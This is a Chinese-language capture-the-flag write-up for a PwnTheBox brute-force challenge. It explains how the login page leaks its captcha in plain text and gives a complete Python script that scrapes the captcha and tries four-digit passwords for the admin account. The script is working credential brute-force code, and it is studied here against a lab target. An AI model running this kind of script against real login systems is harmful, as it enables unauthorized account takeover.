writeup PwnTheBox baopo

130 阅读1分钟

本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。

题目链接ce.pwnthebox.com/challenges?…

题目描述: 在这里插入图片描述 根据题目,知道本题考察点为爆破。

在这里插入图片描述 打开靶机,发现一个登录界面,随便登陆一下,告诉了我们用户名,且验证码为纯文本,且在响应数据包中可直接获取。那么只需要爆破密码就行, 在这里插入图片描述

PS:经过测试,验证码由服务器生成,每次动态改变,burp爆破验证码这里有点不懂,遂直接用python实现,有了解的可以评论区告诉我一下。

F12大法好,一下发现两个关键点,验证码密码格式。 所以下面分为两步:

  1. 从数据包中解析出验证码
  2. 发包进行爆破

解析验证码的代码如下:

def get_code(response):
	#考虑到里面有很多br标签,便使用标签的括号,匹配其中的五个字符
    pattern1 = re.compile(r">[0-9a-z]{5}<")
    code_ = pattern1.findall(str(response.text))
    #再从中提取出验证码
    pattern = re.compile(r"[0-9a-z]{5}")
    code = pattern.findall(str(code_))
    code = str(code[0])
    return code

爆破就比较简单了,通过分析数据包,发现请求格式为:https://xxxxxxxx.do-not-trust.hacking.run/index.php?username=admin&password=1234&randcode=68e8e 我们只需要拼接验证码进来,并且将密码修改为四位纯数字进行爆破。 完整代码如下:

import requests
import re

def get_code(response):
    pattern1 = re.compile(r">[0-9a-z]{5}<")
    code_ = pattern1.findall(str(response.text))
    pattern = re.compile(r"[0-9a-z]{5}")
    code = pattern.findall(str(code_))
    code = str(code[0])
    return code

def find_success(response):
    data = '密码错误'
    try:
        result = re.search(r'密码错误',response.text).group(0)
        if result==data:
            return False
        else:
            return True
    except:
        return True

for passwd in range(0000,9999):
    req = requests.session()
    url = 'https://277xxxxxxxxxxxxx.do-not-trust.hacking.run/'
    r = req.get(url)
    code = get_code(r)
    password = "%04d" % passwd
    password = str(password)
    path = '/index.php?username=admin&password='+password+'&randcode='+code
    url2 = url+path
    rev = req.get(url2)
    if find_success(rev):
        print("Password: ",password)
        print("Received: ",rev.text)
        break

运行之后,爆破出结果会直接输出响应包内容和正确密码,如下: 在这里插入图片描述

可以去尝试登陆,也能get到flag 在这里插入图片描述